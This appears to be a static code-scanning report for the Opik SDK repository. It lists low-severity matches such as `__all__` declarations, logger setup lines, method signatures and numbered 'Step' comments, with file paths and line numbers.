| LOW | …n/src/opik/message_processing/replay/replay_manager.py | 135 | def set_replay_callback(self, callback: types.ReplayCallback) -> None: | CODE |
| LOW | sdks/python/src/opik/cli/__init__.py | 5 | __all__ = ["cli"] | CODE |
| LOW | sdks/python/src/opik/cli/local_runner/__init__.py | 10 | __all__ = ["connect", "endpoint"] | CODE |
| LOW | sdks/python/src/opik/cli/healthcheck/__init__.py | 5 | __all__ = ["healthcheck"] | CODE |
| LOW | sdks/python/src/opik/cli/exports/trace_filter.py | 7 | logger = logging.getLogger(__name__) | CODE |
| LOW | sdks/python/src/opik/cli/migrate/__init__.py | 9 | __all__ = ["migrate_group"] | CODE |
| LOW | sdks/python/src/opik/cli/migrate/datasets/resolver.py | 175 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/cli/migrate/prompts/resolver.py | 160 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/cli/usage_report/__init__.py | 9 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/integrations/aisuite/__init__.py | 4 | __all__ = ["track_aisuite"] | CODE |
| LOW⚡ | sdks/python/src/opik/integrations/dspy/callback.py | 374 | def _set_current_context_data(self, value: SpanOrTraceData) -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/dspy/__init__.py | 3 | __all__ = ["OpikCallback"] | CODE |
| LOW | sdks/python/src/opik/integrations/crewai/__init__.py | 4 | __all__ = ["track_crewai"] | CODE |
| LOW | …thon/src/opik/integrations/crewai/patchers/__init__.py | 5 | __all__ = ["patch_flow", "patch_llm_client", "patch_litellm_completion"] | CODE |
| LOW | sdks/python/src/opik/integrations/agentspec/__init__.py | 3 | __all__ = ["AgentSpecInstrumentor", "OpikSpanProcessor"] | CODE |
| LOW | …/src/opik/integrations/agentspec/opik_spanprocessor.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | …ks/python/src/opik/integrations/guardrails/__init__.py | 3 | __all__ = ["track_guardrails"] | CODE |
| LOW | sdks/python/src/opik/integrations/harbor/__init__.py | 17 | __all__ = ["track_harbor", "reset_harbor_tracking"] | CODE |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 163 | def set_graph(self, graph: "Graph") -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/langchain/__init__.py | 11 | __all__ = [ | CODE |
| LOW | …ations/langchain/provider_usage_extractors/__init__.py | 3 | __all__ = [ | CODE |
| LOW | …der_usage_extractors/langchain_run_helpers/__init__.py | 9 | __all__ = [ | CODE |
| LOW | …s/python/src/opik/integrations/llama_index/__init__.py | 3 | __all__ = ["LlamaIndexCallbackHandler"] | CODE |
| LOW | sdks/python/src/opik/integrations/groq/__init__.py | 3 | __all__ = ["track_groq"] | CODE |
| LOW | sdks/python/src/opik/integrations/otel/__init__.py | 8 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/integrations/bedrock/__init__.py | 3 | __all__ = ["track_bedrock"] | CODE |
| LOW | …ons/bedrock/invoke_model/chunks_aggregator/__init__.py | 76 | __all__ = [ | CODE |
| LOW | …python/src/opik/integrations/adk/legacy_opik_tracer.py | 117 | def _set_current_context_data(self, value: SpanOrTraceData) -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/adk/__init__.py | 14 | __all__ = ["OpikTracer", "track_adk_agent_recursive", "build_mermaid_graph_definition"] | CODE |
| LOW | …/python/src/opik/integrations/adk/patchers/__init__.py | 4 | __all__ = ["patch_adk"] | CODE |
| LOW | …hon/src/opik/integrations/haystack/opik_span_bridge.py | 41 | def set_tag(self, key: str, value: Any) -> None: | CODE |
| LOW | …hon/src/opik/integrations/haystack/opik_span_bridge.py | 57 | def set_content_tag(self, key: str, value: Any) -> None: | CODE |
| LOW | …hon/src/opik/integrations/haystack/opik_span_bridge.py | 177 | def set_tags(self, tags: Dict[str, Any]) -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/haystack/__init__.py | 3 | __all__ = ["OpikConnector"] | CODE |
| LOW | sdks/python/src/opik/integrations/anthropic/__init__.py | 4 | __all__ = ["track_anthropic"] | CODE |
| LOW | sdks/python/src/opik/integrations/genai/__init__.py | 4 | __all__ = ["track_genai"] | CODE |
| LOW | …/python/src/opik/integrations/genai/videos/__init__.py | 4 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/integrations/litellm/__init__.py | 5 | __all__ = ["track_completion"] | CODE |
| 261 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 547 | #### Step 1: User Creates Trace | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 560 | #### Step 2: API Layer - Message Creation | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 602 | #### Step 3: Message Processing Layer - Routing | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 638 | #### Step 4: Batching (Optional) | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 687 | #### Step 5: Queue and Consumer | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 703 | #### Step 6: Message Processing - Handler Execution | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 728 | #### Step 7: REST API Layer | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 751 | #### Step 8: Backend Storage | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_prompt.py | 1557 | # Step 4: clear all environments. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1504 | # Step 1: create v1 and pin it to environment_name; a newer v2 exists | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1524 | # Step 2: add second_environment_name; both envs must be visible on the same version. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1543 | # Step 3: move ownership exclusively to second_environment_name. | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 244 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 254 | # Step 2: Export traces using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 313 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 322 | # Step 2: Export datasets using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 390 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 400 | # Step 2: Export prompts using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 476 | # Step 1: Prepare test data (minimal) | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 481 | # Step 2: Export all data types with limited results using direct function calls | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 756 | # Step 1: Create two datasets | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 903 | # Step 1: Create a test chat prompt | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 913 | # Step 2: Export chat prompt using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1001 | # Step 1: Prepare test data with experiments | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1008 | # Step 2: Export the project data (traces) using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 289 | # Step 3: Import traces using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 359 | # Step 3: Import datasets using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 438 | # Step 3: Import prompts using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 541 | # Step 3: Import all data types using direct function calls | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 790 | # Step 2: Create two experiments with different datasets | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 843 | # Step 3: Export experiments filtered by dataset1 | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 857 | # Step 4: Verify only experiment1 was exported. Files are named by | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 884 | # Step 5: Verify the exported experiment has the correct dataset | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 954 | # Step 3: Import chat prompt using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 1054 | # Step 3: Test import (experiments are automatically recreated) using direct function call | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 126 | # Step 1: Collect all dataset_item_id and dataset_item_data from experiment files | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 186 | # Step 2: Import datasets | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 238 | # Step 3: Get all imported dataset items and match by content | COMMENT |
| LOW | …ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md | 11 | ### Step 1: Create the Aggregator Module | COMMENT |
| LOW | …ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md | 82 | ### Step 2: Register the Format | COMMENT |
| LOW | …ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md | 101 | ### Step 3: Test Your New Format | COMMENT |
| LOW | …tions/bedrock/invoke_model/chunks_aggregator/README.md | 33 | ### Step 1: Create Aggregator Module | COMMENT |
| LOW | …tions/bedrock/invoke_model/chunks_aggregator/README.md | 88 | ### Step 2: Register Format | COMMENT |
| LOW | …tions/bedrock/invoke_model/chunks_aggregator/README.md | 107 | ### Step 3: Done! | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 181 | # Step 1: If the URL is provided and active, update the configuration | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 186 | # Step 2: Check if the default local instance is active | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 217 | # Step 4: Ask user for URL if no valid local instance is found or approved | COMMENT |
| LOW | sdks/python/src/opik/configurator/configure.py | 198 | # Step 3: Ask user if they want to use the found local instance | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 391 | ### Step 1: Create Package Structure | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 423 | ### Step 2: Implement Wrapper/Handler | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 513 | ### Step 3: Add Response Parsing | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 544 | ### Step 4: Export Public API | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 552 | ### Step 5: Add Tests | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 44 | // Step 1: Get the resolved config through the public API | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 47 | // Step 2: Clear ALL env vars so only explicit config can provide values | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 58 | // Step 3: Pass resolved values as explicit config | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 68 | // Step 4: Verify explicit values are used (not defaults, not env) | COMMENT |
| LOW | sdks/typescript/tests/integration/connection.test.ts | 79 | // Step 5: Restore env vars | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 74 | // Step 1: create v1, pin it to envA via setPromptEnvironments, then push | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 101 | // Step 2: expand to both envs on v1's version. | COMMENT |
| 113 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 250 | CODE | |
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 312 | CODE | |
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 343 | CODE | |
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 601 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 220 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 243 | CODE | |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 396 | CODE | |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 402 | CODE | |
| LOW | …tests/unit/evaluation/test_evaluate_experiment_name.py | 395 | CODE | |
| LOW | …tests/unit/evaluation/test_evaluate_experiment_name.py | 550 | CODE | |
| LOW | …tests/unit/evaluation/test_evaluate_experiment_name.py | 706 | CODE | |
| LOW | …thon/tests/unit/evaluation/test_evaluate_experiment.py | 46 | CODE | |
| LOW | …thon/tests/unit/evaluation/test_evaluate_experiment.py | 68 | CODE | |
| LOW | …thon/tests/unit/evaluation/test_evaluate_experiment.py | 129 | CODE | |
| LOW | sdks/python/tests/unit/evaluation/test_evaluate.py | 92 | CODE | |
| LOW | sdks/python/tests/testlib/noop_file_upload_manager.py | 23 | CODE | |
| LOW | sdks/python/tests/e2e/runner/test_runner_e2e.py | 97 | CODE | |
| LOW | sdks/python/tests/e2e/runner/test_runner_e2e.py | 102 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 620 | CODE | |
| LOW | sdks/python/tests/e2e/evaluation/test_multimodal.py | 54 | CODE | |
| LOW | sdks/python/tests/e2e/evaluation/test_multimodal.py | 60 | CODE | |
| LOW | sdks/python/src/opik/jsonable_encoder.py | 28 | CODE | |
| LOW | sdks/python/src/opik/semantic_version.py | 140 | CODE | |
| LOW | sdks/python/src/opik/file_upload/upload_manager.py | 70 | CODE | |
| LOW | sdks/python/src/opik/runner/in_process_loop.py | 199 | CODE | |
| LOW | sdks/python/src/opik/runner/in_process_loop.py | 254 | CODE | |
| LOW | sdks/python/src/opik/runner/supervisor.py | 264 | CODE | |
| LOW | sdks/python/src/opik/runner/supervisor.py | 342 | CODE | |
| LOW | sdks/python/src/opik/runner/bridge_loop.py | 76 | CODE | |
| LOW | sdks/python/src/opik/runner/snapshot.py | 97 | CODE | |
| LOW | sdks/python/src/opik/runner/snapshot.py | 137 | CODE | |
| LOW | …ks/python/src/opik/runner/bridge_handlers/edit_file.py | 183 | CODE | |
| LOW | …python/src/opik/runner/bridge_handlers/exec_command.py | 84 | CODE | |
| LOW | …s/python/src/opik/runner/bridge_handlers/list_files.py | 67 | CODE | |
| LOW | sdks/python/src/opik/simulation/simulated_user.py | 89 | CODE | |
| LOW | sdks/python/src/opik/message_processing/streamer.py | 52 | CODE | |
| LOW | …/python/src/opik/message_processing/encoder_helpers.py | 45 | CODE | |
| LOW | …age_processing/emulation/emulator_message_processor.py | 350 | CODE | |
| LOW | …sage_processing/processors/online_message_processor.py | 84 | CODE | |
| LOW | …/src/opik/message_processing/batching/batch_manager.py | 69 | CODE | |
| LOW | …/opik/message_processing/batching/sequence_splitter.py | 16 | CODE | |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 304 | CODE | |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 368 | CODE | |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 464 | CODE | |
| LOW | sdks/python/src/opik/cli/local_runner/pairing.py | 474 | CODE | |
| LOW | sdks/python/src/opik/cli/healthcheck/smoke_test.py | 40 | CODE | |
| LOW | sdks/python/src/opik/cli/healthcheck/smoke_test.py | 131 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/__init__.py | 32 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/all.py | 45 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/dataset.py | 16 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 88 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 384 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 766 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 865 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 1066 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/utils.py | 527 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/prompt.py | 17 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/project.py | 30 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/project.py | 104 | CODE | |
| LOW | sdks/python/src/opik/cli/exports/all.py | 131 | CODE | |
| 238 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …hon/tests/unit/decorator/test_decorator_span_errors.py | 52 | CODE | |
| LOW | …hon/tests/unit/decorator/test_decorator_span_errors.py | 71 | CODE | |
| LOW | …ts/unit/cli/test_migrate_dataset_resume_reconstruct.py | 30 | CODE | |
| LOW | …unit/cli/test_migrate_dataset_optimizations_cascade.py | 46 | CODE | |
| LOW | …ks/python/tests/unit/cli/test_export_error_handling.py | 229 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 63 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 120 | CODE | |
| LOW | …integration/metrics_with_llm_judge/agentic/_seeding.py | 63 | CODE | |
| LOW | …s/e2e_library_integration/litellm/test_opik_logging.py | 31 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 92 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 182 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 875 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 904 | CODE | |
| LOW | sdks/python/tests/e2e/test_guardrails.py | 55 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 141 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 337 | CODE | |
| LOW | sdks/python/examples/langchain_integration_example.py | 9 | CODE | |
| LOW | sdks/python/src/opik/opik_context.py | 59 | CODE | |
| LOW | sdks/python/src/opik/opik_context.py | 125 | CODE | |
| LOW | sdks/python/src/opik/jsonable_encoder.py | 108 | CODE | |
| LOW | sdks/python/src/opik/httpx_client.py | 92 | CODE | |
| LOW | …/python/src/opik/error_tracking/environment_details.py | 51 | CODE | |
| LOW | …hon/src/opik/llm_usage/base_original_provider_usage.py | 45 | CODE | |
| LOW | sdks/python/src/opik/guardrails/tracing.py | 41 | CODE | |
| LOW | sdks/python/src/opik/guardrails/tracing.py | 53 | CODE | |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 60 | CODE | |
| LOW | sdks/python/src/opik/decorator/tracker.py | 50 | CODE | |
| LOW | sdks/python/src/opik/decorator/tracker.py | 66 | CODE | |
| LOW | …opik/decorator/context_manager/span_context_manager.py | 14 | CODE | |
| LOW | …pik/decorator/context_manager/trace_context_manager.py | 15 | CODE | |
| LOW | sdks/python/src/opik/plugins/pytest/decorator.py | 129 | CODE | |
| LOW | sdks/python/src/opik/plugins/pytest/decorator.py | 84 | CODE | |
| LOW | sdks/python/src/opik/runner/supervisor.py | 62 | CODE | |
| LOW | sdks/python/src/opik/cli/exports/project.py | 427 | CODE | |
| LOW | …hon/src/opik/integrations/aisuite/aisuite_decorator.py | 76 | CODE | |
| LOW | …hon/src/opik/integrations/aisuite/aisuite_decorator.py | 155 | CODE | |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 107 | CODE | |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 178 | CODE | |
| LOW | …c/opik/integrations/guardrails/guardrails_decorator.py | 62 | CODE | |
| LOW | …c/opik/integrations/guardrails/guardrails_decorator.py | 83 | CODE | |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 71 | CODE | |
| LOW | …k/integrations/groq/groq_chat_completions_decorator.py | 75 | CODE | |
| LOW | …k/integrations/groq/groq_chat_completions_decorator.py | 117 | CODE | |
| LOW | …rc/opik/integrations/bedrock/invoke_agent_decorator.py | 55 | CODE | |
| LOW | …rc/opik/integrations/bedrock/invoke_agent_decorator.py | 72 | CODE | |
| LOW | …rations/bedrock/invoke_model/invoke_model_decorator.py | 71 | CODE | |
| LOW | …ik/integrations/bedrock/converse/converse_decorator.py | 59 | CODE | |
| LOW | …ik/integrations/bedrock/converse/converse_decorator.py | 86 | CODE | |
| LOW | …s/adk/patchers/adk_otel_tracer/opik_adk_otel_tracer.py | 106 | CODE | |
| LOW | …ks/python/src/opik/integrations/haystack/converters.py | 30 | CODE | |
| LOW | …ik/integrations/anthropic/messages_create_decorator.py | 62 | CODE | |
| LOW | …ik/integrations/anthropic/messages_create_decorator.py | 106 | CODE | |
| LOW | …/opik/integrations/genai/generate_content_decorator.py | 91 | CODE | |
| LOW | …/opik/integrations/genai/generate_content_decorator.py | 138 | CODE | |
| LOW | …opik/integrations/openai/openai_responses_decorator.py | 88 | CODE | |
| LOW | …opik/integrations/openai/openai_responses_decorator.py | 127 | CODE | |
| LOW | …tegrations/openai/openai_chat_completions_decorator.py | 89 | CODE | |
| LOW | …tegrations/openai/openai_chat_completions_decorator.py | 131 | CODE | |
| LOW | …/integrations/openai/videos/videos_create_decorator.py | 113 | CODE | |
| LOW | …ntegrations/openai/videos/videos_download_decorator.py | 69 | CODE | |
| 254 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | .pre-commit-config.yaml | 321 | # --------------------------------------------------------------------------- | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1921 | # If flush() takes too long: | COMMENT |
| LOW | sdks/python/tests/llm_constants.py | 21 | """ | COMMENT |
| LOW | sdks/python/tests/llm_constants.py | 41 | AISUITE_OPENAI_GPT_NANO = f"openai:{OPENAI_GPT_NANO}" | COMMENT |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 1501 | COMMENT | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 1681 | def test_inner_progress_callback__fires_per_trace_and_phase(self) -> None: | COMMENT |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 721 | # clear flag. apply_dataset_item_changes called twice; v2 is the | COMMENT |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 841 | "tgt-dupe-1", | COMMENT |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 941 | } | COMMENT |
| LOW | …ython/tests/unit/evaluation/metrics/test_heuristics.py | 821 | # ROUGE-Lsum splits the text into sentences based on newlines and | COMMENT |
| LOW | …ython/tests/unit/evaluation/metrics/test_heuristics.py | 861 | # Candidate = "The brown fox jumps quickly" | COMMENT |
| LOW | …hon/tests/library_integration/bedrock/test_converse.py | 241 | BEDROCK_MODEL_FOR_TESTS, | COMMENT |
| LOW | …tion/metrics_with_llm_judge/test_evaluation_metrics.py | 21 | # the LangchainChatModel bridge — it exercises the most prompt surface | COMMENT |
| LOW | …integration/metrics_with_llm_judge/agentic/conftest.py | 21 | import pytest | COMMENT |
| LOW | …integration/metrics_with_llm_judge/agentic/conftest.py | 41 | # - Anthropic `claude-sonnet-4-6` *via LiteLLM* (`litellm_anthropic`): | COMMENT |
| LOW | sdks/python/src/opik/api_key/opik_api_key.py | 1 | # -*- coding: utf-8 -*- | COMMENT |
| LOW | sdks/python/src/opik/api_key/__init__.py | 1 | # -*- coding: utf-8 -*- | COMMENT |
| LOW | sdks/python/src/opik/api_key/base64_helper.py | 1 | # -*- coding: utf-8 -*- | COMMENT |
| LOW | …ks/python/src/opik/message_processing/message_queue.py | 41 | # grew — otherwise the displaced message's task carries over. | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 501 | # caller (``_build_experiment_data``) remaps the source id to | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/utils.py | 461 | # 1. Pass the fields directly to client.trace(), client.span(), and | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/__init__.py | 81 | ctx.obj["project_name"] = project | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/planner.py | 41 | # parameter. | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/planner.py | 341 | COMMENT | |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 81 | # from this module so existing call sites that ``from .experiments | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 141 | # default of 2000 (with the cascade's ``truncate=False`` for round-trip | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 501 | # shape is one item -> one trace). | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 921 | # ``project_id`` populated from the trace's actual project at write | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 1021 | inner_progress.tick(label=f"trace {index}/{total_traces}") | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 1081 | # project the experiment's traces live in. ``search_spans`` (like | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 1101 | if inner_progress is not None: | COMMENT |
| LOW | …python/src/opik/cli/migrate/datasets/version_replay.py | 421 | # execution_policy, user version tags, metadata), apply them as a | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/_progress.py | 21 | # item (version, optimization, experiment). ``completed`` is the count | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/executor.py | 81 | client: opik.Opik, | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/executor.py | 481 | ) | COMMENT |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 21 | LOGGER = logging.getLogger(__name__) | COMMENT |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 41 | # "verbose", | COMMENT |
| LOW | sdks/python/src/opik/integrations/adk/opik_tracer.py | 281 | current_span = context_storage.top_span_data() | COMMENT |
| LOW | sdks/python/src/opik/integrations/adk/output_cache.py | 1 | import collections | COMMENT |
| LOW | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 141 | self.emulator.parent_span_ids_for_trace(trace_id).get(span.id) | COMMENT |
| LOW | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 161 | # an assertion of the form "the agent processed a payload containing | COMMENT |
| LOW | …evaluators/agentic/compression/span_tree_serializer.py | 21 | # `len(text) <= limit`, so `sys.maxsize` falls through unchanged without | COMMENT |
| LOW | sdks/python/src/opik/evaluation/metrics/ragas_metric.py | 101 | # Solution: Disable context modification (opik_context_read_only_mode=True). | COMMENT |
| LOW | …rc/opik/evaluation/models/anthropic/message_adapter.py | 21 | # native path here intentionally does NOT mirror that translation: the | COMMENT |
| LOW | …rc/opik/evaluation/models/anthropic/message_adapter.py | 221 | ) | COMMENT |
| LOW | …c/opik/evaluation/models/litellm/litellm_chat_model.py | 181 | LOGGER.debug( | COMMENT |
| LOW | sdks/python/src/opik/evaluation/engine/engine.py | 121 | regular_metrics=regular_metrics, | COMMENT |
| LOW | sdks/python/src/opik/evaluation/engine/engine.py | 221 | # the unit tests in `test_evaluate_test_suite.py`: MagicMock | COMMENT |
| LOW | …ypescript/src/opik/configure/src/nodejs/node-wizard.ts | 181 | installDir: options.installDir, | COMMENT |
| LOW | …r_algorithms/metaprompt_context7_remote_mcp_example.py | 41 | cursor_config = { | COMMENT |
| LOW | tests_load/pytest.ini | 1 | [pytest] | COMMENT |
| LOW | …s/commands/comet/generate-code-review-slack-command.md | 281 | # 2. Run command (on a branch with an open PR) | COMMENT |
| LOW | …s/commands/comet/generate-code-review-slack-command.md | 301 | # | COMMENT |
| LOW | …s/commands/comet/generate-code-review-slack-command.md | 321 | # :typescript: typescript summary (optional): Added TypeScript SDK support for metrics | COMMENT |
| LOW | …s/commands/comet/generate-code-review-slack-command.md | 341 | # Backend summary not found in PR. Enter backend summary (one line, optional - press Enter to skip): Implemented metrics | COMMENT |
| LOW | .agents/commands/comet/create-pr.md | 61 | COMMENT | |
| LOW | .agents/commands/comet/send-code-review-slack.md | 341 | # - Follow the complete setup guide for configuring the Slack MCP server | COMMENT |
| LOW | .agents/commands/comet/send-code-review-slack.md | 361 | # - Python: (not found, prompts user) | COMMENT |
| LOW | …ests/online-evaluation/online-evaluation-smoke.spec.ts | 101 | expect(scoreValues.size, 'each seeded trace produced a score').toBe(5); | COMMENT |
| LOW | deployment/helm_chart/opik/values.yaml | 61 | # If `additionalCACertsInSecret` is `true` we will look for this name in | COMMENT |
| 166 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | sdks/python/tests/e2e/test_prompt.py | 1557 | # Step 4: clear all environments. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1504 | # Step 1: create v1 and pin it to environment_name; a newer v2 exists | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1524 | # Step 2: add second_environment_name; both envs must be visible on the same version. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1543 | # Step 3: move ownership exclusively to second_environment_name. | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 244 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 254 | # Step 2: Export traces using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 313 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 322 | # Step 2: Export datasets using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 390 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 400 | # Step 2: Export prompts using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 476 | # Step 1: Prepare test data (minimal) | COMMENT |
